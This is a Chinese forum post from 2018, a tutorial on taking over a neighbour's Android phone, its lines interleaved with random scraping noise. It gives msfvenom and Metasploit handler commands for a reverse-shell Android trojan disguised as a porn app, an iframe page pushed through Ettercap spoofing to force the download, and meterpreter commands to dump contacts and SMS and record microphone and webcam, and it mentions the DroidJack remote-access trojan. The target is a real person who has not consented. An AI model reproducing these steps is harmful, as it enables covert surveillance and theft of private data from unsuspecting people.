|
- E* U& m% S+ o" \# x- V! U
五、msf+ettercap入侵邻居安卓手机
+ s5 L0 z. Y, }% @, w& R6 w ' J( N9 I* J4 ]8 Z. \& M
4 c& ^# J# _& g+ r 首先启动msf v# y' r% d1 d6 a) Z6 D
' M+ I) o, {0 x' e
, v$ O5 a/ q, X. R( I5 A
先用kali生成一个安卓木马，如下命令： 3 c4 w# X7 k4 E0 J/ X9 m- `; b
& G$ g. H3 s7 `! q2 ~7 f0 S0 \
) X$ A5 j# A3 w1 ]8 K2 H
Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk & l2 c C& U, @. C
7 t. I% L( i. Q
$ D7 b" X3 p: a  为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 ; H1 e |! g" d0 U% S* e
2 `4 h+ W: E) q) L0 `* J0 W. `' F( H
& _- Z) c/ a2 |
然后进入msf 8 r* g, |% u1 E3 v$ p8 h
! Y; D7 S# o' m1 q9 u, W1 d- P7 y: s. ^
use exploit/multi/handler
2 W* f- w/ I/ b( Y, k- b3 q $ {7 s8 j9 A5 N* F# y
- \. }6 ~5 G% P- T) N3 l set payload android/meterpreter/reverse_tcp ; Z8 |" s! [% ^: h( O2 v
% Y' w- A# f4 W0 s& J/ f0 ~
* c5 e. b# `5 a5 g o2 }) { set LHOST 192.168.0.109 //ip为kaili的ip 5 ~4 w0 C. j# u8 a! E" X; p: w
* ^4 |+ W' c# v0 S$ X4 Y+ i
8 s* A+ ]( h9 N! D. i( P set LPORT 44444 //端口一定要与前面生成的木马的端口一致
* r# ~8 l6 D/ y9 g+ t
$ {. f: M( I2 n3 {! N# S8 t2 v* K7 ?% W" U" \8 d T( `
Exploit
- U9 I9 ]% s; o0 A' ^ 7 T! x+ w3 h/ A. r
! c3 L: } _* q: S! ^$ U" r y
 0 ^9 Y' V* j: P5 E
: ?$ {" d7 U; I5 [; g4 f8 G5 i8 K0 l$ I; d% ]5 W
下面我们开启ettercap -G
3 P4 a6 ~" M1 E0 n! F, C . s# O5 b7 h/ A; w* @
0 M) {) l' C1 [7 W" b, R7 }1 c 我物理IP为 8 s ~9 X/ d* f c1 M3 L! q
3 l; z/ ~; a L% a& b
- S; U& J% o- @& E; b8 \4 E B* z
$ v" [6 U/ C: G/ v
* b& x' V4 t& K' [& G# ~. \1 V) B+ e: k' f3 `2 ]
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， 7 H( v/ l0 e' Q/ N5 R
/ e9 m8 |+ r- S$ p9 p- Z y: J1 F
3 d# o% r+ q: f; f- b 下面我们来设置一下
6 |9 F0 g+ q ]/ W# U8 o. `$ I* T" }, R
) z) h5 g$ _3 u& C/ ^4 U3 F* n" f5 `) u
) G; u4 t# m' M9 A0 p# H
% G) Z2 ?1 m* T2 b+ A- S3 G" L3 R! U3 h* r4 S" k
在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了，
" T) m3 p' Y* J0 Q# F
9 a9 o& `* [ n, V" I
7 V) e1 @1 U- @5 L* @" W0 V ! z; Z: D* m% H" x6 [- l" B B
. b: x6 N/ S- U: E$ Q/ v' z- i9 {7 y n
9 D" N" r! I/ J( L) a' { ( ~9 _1 ]+ t2 r8 t5 K6 E" _
9 m6 ?/ w9 L/ m8 s I! x2 T
* x$ f( J4 {7 H. c+ t0 h, J6 s% K7 j6 D ) y$ [; I3 P6 U, Z( h7 g& \( f4 v
5 ~7 C* z$ A) @: M9 \
7 m; ?$ ~6 q+ a* v" o
$ w$ U4 R* e7 f8 z0 @
1 r3 p# [5 u: @, o) h 2 G* X& @6 V# `3 y5 p2 B, S8 o! a
* g0 `" | g9 F5 T! a- n0 _5 N! x2 A
) y) Y. I! m1 l
9 ]7 n, K p- O& T- ]$ [5 G
. B+ ^ {6 Y2 G
O+ c; p3 T6 q( T8 q" V; l
6 K" G' t6 c1 ]5 }( ?
+ a, q8 R3 W$ D+ d. N8 y
$ m- r5 T4 i4 ^
) s) U0 p! O0 Y( _. y5 Q7 y/ m# u2 F+ W2 ]
- ]- T5 U1 F8 h - P5 P0 `6 ~6 V6 U, U
+ v# i ^( Q$ B9 W& ^$ b9 z
4 r i( W+ d3 q5 D6 z6 A " i! f/ H. [6 R: ~1 P- O
& \, `7 }; s0 E* ~% L* K, C 7 [5 G, h+ @' w
: M/ h9 N+ b7 T2 u! _+ j1 `$ m3 E
! Z% {) E) Q1 F. e
/ J+ U' ^$ K! p- O w
( Q+ G2 c' H2 h p) ~ `
' S$ a8 g6 x0 u; A
 i6 F8 T# H' t1 k" _
4 u5 _: W$ k- I6 }
4 s ~, e% ?8 |6 s2 J' l0 w 下面我们开始攻击 , R' J5 S9 i% f5 T
, G# U4 [+ o& S
( T1 d* Y; ?3 v/ J f) r7 x& y
& f' v" O4 h2 i8 @
3 s2 T# u9 }' C( V
8 E9 |, f9 I0 z: X0 X" d8 @ + j Q' x; P0 v8 \$ _
$ P( x& ~# B0 ^* R% T& n% ^
5 l$ i# w( M, t! N* b8 [ b& R , D: L: u! ]7 O6 w3 B1 Y( U" j: A
% r& z B& X ~6 k" ^# \ D* `6 o
8 ], \) u8 @% B" o
( P. q# \' B6 o$ w 6 z0 ?- H& o* T3 T. V0 L
1 D" n, t7 s9 G3 C% |( p8 ~- L' e
+ @ @! c/ u% c+ x% [# O" p- N
1 w' F$ ?2 E4 Y* |1 I) K# Z! g* m- p
大概过了5分钟多，发现反弹成功了 7 J; C7 ~7 _6 U+ g
- t/ R! U+ V N" J8 A
, E/ v! I! L* X r
( q2 D& D6 M; {3 n
0 O }0 @/ h; ^1 S4 k
t6 B$ J: B; S7 | ?4 s
0 Y1 E* n$ t4 m @
( Z: [# ]1 F1 U4 `$ R, k
& F! [0 _% |6 O2 C6 y1 ~4 _# c
: v3 \5 n! V& w) i2 ]+ X2 L 2 A8 N9 i5 V+ r2 ]& t2 H
1 w( m ^% p6 ]5 q
( W- ]: S- a8 e9 u% b
5 _; K0 [0 [/ V' R' A
5 o' z! j: J: H' p; p 3 @3 r6 K! L$ W1 Q6 t5 m2 p' U& A
: \8 i2 M% D5 G5 `: ?8 {
4 C) x& |# z4 i G
) j4 E3 P M% R8 D2 {2 q
G* {, d8 ~* f; i+ o1 w' C& {* [6 M+ h" o. c; f* R
- Q9 N; v# @, B2 m . Y3 m! N: I" X- E6 X* | @
" K$ {, S" W/ s( }9 [; Q3 j' w 执行命令
- H5 K$ Y- [0 N: V/ g 8 E4 Z$ S- F6 U( M+ D% A
6 `5 n5 [5 g3 ]$ |( K& K; w2 a) R2 b
2 N3 ^& }. O' u a" K ' q8 P: c* @/ L m
) @: Z0 s+ {% x5 e dump_contacts --》这个是导出电话 . s: `* N: }6 K; \1 l2 [$ j
; n% N1 `. r2 e; H" R
8 K" e j8 [& Q" j0 Y+ e dump_sms --》这个是导出信息
# w0 ^" `; s8 W6 A 9 S, O! _# ^2 t( g
) k0 F3 w D$ ?' Q" P) k# f2 M% L record_mic Record audio from the default microphone for X seconds
7 S4 T, ^7 g; \( J3 j % e8 `. p$ S% u
- {5 ]0 h# z! ~7 N6 s1 C2 O webcam_chat Start a video chat 5 w- d8 f7 o3 ]6 ~+ V
' _; t# x+ X& s$ ~! C8 g# ~* t; _7 A
webcam_list List webcams 1 Q7 o' [3 U, l9 z' o
) D2 E4 I; H5 u# c+ y: U7 m
/ Q9 k9 L5 ?% [+ p( [9 l9 ^8 r
webcam_snap Take a snapshot from the specified webcam ; A# u7 v5 i) d- T
7 N( s2 l, ?. X( {7 r! `6 b3 M$ b" u" Q: Z% \
webcam_stream  lay a video stream from the specified webcam ) r; y* u4 s9 a$ a
, }& c/ a$ [ V; j
; `" |! G/ h& ?* o/ @
 ; }( g' r: _+ J) b3 E$ H1 y
( w" U7 {2 [; Z8 I2 f8 R. v$ @
% Y4 y8 I2 N. ^; [( r* ~  . g! |- Y8 T8 k) K$ ?
8 m$ |: A% O; X. Y: a' N0 Z- p" x a3 S* K. N+ @
我们打开看一下电话薄，
- o4 ?6 g1 B& \$ j' C4 e) v 4 O. H! R% s* U& @3 D3 s7 z# f6 U
% _ q; U! i ^/ k. ~% D
' H; U- a. I: s' X8 } 2 e0 \/ \9 d( v5 x1 B- ]) Y
4 P& z) k0 r4 C4 D2 W  : b4 T) J Q; b
: u2 h8 k8 b5 \2 A5 R+ \/ H9 V, w' j: I3 G1 u8 J4 J( h
, x0 f6 P$ F3 @# e1 l. l
8 y; x1 |9 F8 i2 F8 y
, l5 }' C' V. e3 x0 {  9 o! k1 m' p8 d
6 c- Z$ n Z0 B8 _9 G7 e+ n6 B
' ` ^3 X+ I& [5 { 
% I7 \1 b! r8 i* E5 I, I + t" x+ d+ a9 N3 w: \5 w7 J
) Z4 m- B6 t! V9 h$ z
& }: ]7 l, ]. L7 X# i; ]1 }0 Z
9 h$ c( q% n8 C( }* `
, ^1 p0 ^2 j8 z0 h+ L 我们同时欺骗成DroidJack木马，使用方法如图：
0 q$ d2 b' R+ V; }
_- ~ V0 Z+ @# w# ?: e) _; @' i8 q/ s# F: v
 % Q4 A; S2 @6 x* [) x
. v8 [* F" A& {/ _5 V' e* h
# ? ^7 `# n& i* ~ . q3 V. p# M' Q# ~9 A
6 ~- y f1 g0 q) }/ V( l
2 }( L+ A; P" K. n  ( F; j" b$ G9 K# |/ T! J1 q
0 {5 }6 }/ \" b6 n. Z4 |7 K2 O
* c3 k b! w* \3 L N. ]
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 / l, S5 n) [8 I3 w3 O
+ U8 n) A& `" b: d, v
3 s4 |: _ J0 ]# {' Q/ J  6 E9 ]/ `3 @" C
/ P( ^ L7 J; V- R
+ {5 K; I& X b ~  ! P1 p! z$ N3 {6 R# f0 p9 ?
% T0 e& r, C' d6 n9 x
' b' O2 O, ~$ }& I3 v
 6 a8 X9 p; {* T0 K5 W2 u
3 M* V( q7 w+ c0 m! `8 Y: J e0 s4 q. X, _& ~2 Q) u2 A
  - T. L, X* E7 Z6 B
- g7 ~' Y9 n; z: [' U: V9 s. h0 k* f" p$ ]8 k* r! S
- V( {& j( H( N6 K/ j | 
发表于 2018-10-20 20:30:37
收藏
支持
反对